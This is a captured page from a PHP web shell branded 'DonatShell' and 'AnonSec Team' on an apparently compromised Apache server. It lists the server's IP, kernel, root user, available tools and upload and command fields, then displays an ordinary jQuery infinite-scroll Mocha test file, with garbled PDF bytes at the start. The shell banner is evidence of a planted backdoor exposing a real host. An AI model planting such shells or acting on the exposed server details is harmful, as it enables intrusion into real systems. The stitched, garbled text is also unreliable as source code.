%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/06-ajax-test.js
var ias;

describe("IAS", function () {
  before(function() {
    this.timeout = 10000;

    window.scrollTo(0, 0);

    ias = jQuery.ias({
      container : '.listing',
      item: '.post',
      pagination: '.navigation',
      next: '.next-posts a'
    });

    ias.extension(new IASSpinnerExtension());
    ias.extension(new IASNoneLeftExtension());

    ias.initialize();
  });

  after(function() {
    jQuery.ias('destroy');
  });

  it("should keep working when items container gets updated", function() {
    var deferred = when.defer();

    expect($('#post11').length).toEqual(0);
    expect($('#post21').length).toEqual(0);

    // assert page2
    scrollDown().then(function() {
      wait(2000).then(function() {
        expect($('#post11').length).toEqual(1);

        // now simulate a ajax request that filters the results
        $("#content").load('ajax1.html', function() {
          expect($('#ajax1').length).toEqual(1);
          expect($('#post11').length).toEqual(0);

          ias.reinitialize();

          wait(1000).then(function() {
            // assert next page
            scrollDown().then(function() {
              wait(2000).then(function() {
                expect($('#ajax11').length).toEqual(1);
                expect($('#post11').length).toEqual(0);
                expect($('#post21').length).toEqual(0);

                deferred.resolve();
              });
            });
          });
        });
      });
    });

    return deferred.promise;
  });
});

Anon7 - 2022
AnonSec Team